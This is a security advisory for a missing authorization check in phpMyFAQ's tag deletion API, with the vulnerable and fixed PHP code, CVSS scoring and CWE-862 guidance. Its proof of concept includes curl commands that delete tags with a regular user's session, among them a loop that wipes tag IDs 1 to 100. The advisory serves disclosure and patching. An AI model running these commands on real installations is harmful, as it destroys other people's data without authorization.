Skip to content

GHSA-7cx3-2qx2-3g6w CVE-2026-46365

phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags

Medium Packagist
Severity
5.3 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.22%
Chance of exploitation in the next 30 days. Higher than 12.26% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-862 Missing Authorization
Fix
Available
2 packages have a fixed version

Description

Summary

The TagController::delete() endpoint at DELETE /admin/api/content/tags/{tagId} only verifies that the user is logged in (userIsAuthenticated()), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with TagController::update() and TagController::search(), which both enforce the FAQ_EDIT permission.

Details

In phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php, the delete() method (line 121-133) uses only $this->userIsAuthenticated():

#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

Compare with update() (line 48-71) which properly enforces authorization:

public function update(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check
    // ... also verifies CSRF token ...
}

The userIsAuthenticated() method in AbstractController (line 258-263) only checks $this->currentUser->isLoggedIn():

protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

There is no admin-level middleware in the Kernel — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (admin/api/index.php) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.

Additionally, this endpoint lacks CSRF token verification (unlike update()), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.

PoC

# Step 1: Register as a regular user on the phpMyFAQ frontend
# (or use any existing non-admin authenticated session)

# Step 2: As the authenticated non-admin user, delete tag with ID 1:
curl -X DELETE 'https://target.com/admin/api/content/tags/1' \
  -H 'Cookie: PHPSESSID=<regular_user_session>'

# Expected: 401 or 403 (user lacks FAQ_EDIT permission)
# Actual: 200 OK with {"success": "..."}

# Step 3: Enumerate and delete all tags:
for i in $(seq 1 100); do
  curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \
    -H 'Cookie: PHPSESSID=<regular_user_session>'
done

Impact

Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:

  • Data integrity loss: Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.
  • Disruption of FAQ organization: Tag-based navigation, filtering, and tag clouds become empty or broken.
  • No recoverability without backup: Deleted tags and their associations cannot be restored without a database backup.

The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.

Recommended Fix

Add the FAQ_EDIT permission check and CSRF token verification to TagController::delete(), consistent with TagController::update():

#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]
public function delete(Request $request): JsonResponse
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);

    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);

    if ($this->tags->delete($tagId)) {
        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);
    }

    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);
}

At minimum, add $this->userHasPermission(PermissionType::FAQ_EDIT) to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated TAG_DELETE permission type for more granular access control.

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.2
4.1.2
thorsten/phpmyfaq
< 4.1.2
4.1.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.2

composer
composer require phpmyfaq/phpmyfaq:^4.1.2

thorsten/phpmyfaq Packagist → 4.1.2

composer
composer require thorsten/phpmyfaq:^4.1.2

Severity breakdown

CVSS 4.0 5.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
Low
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor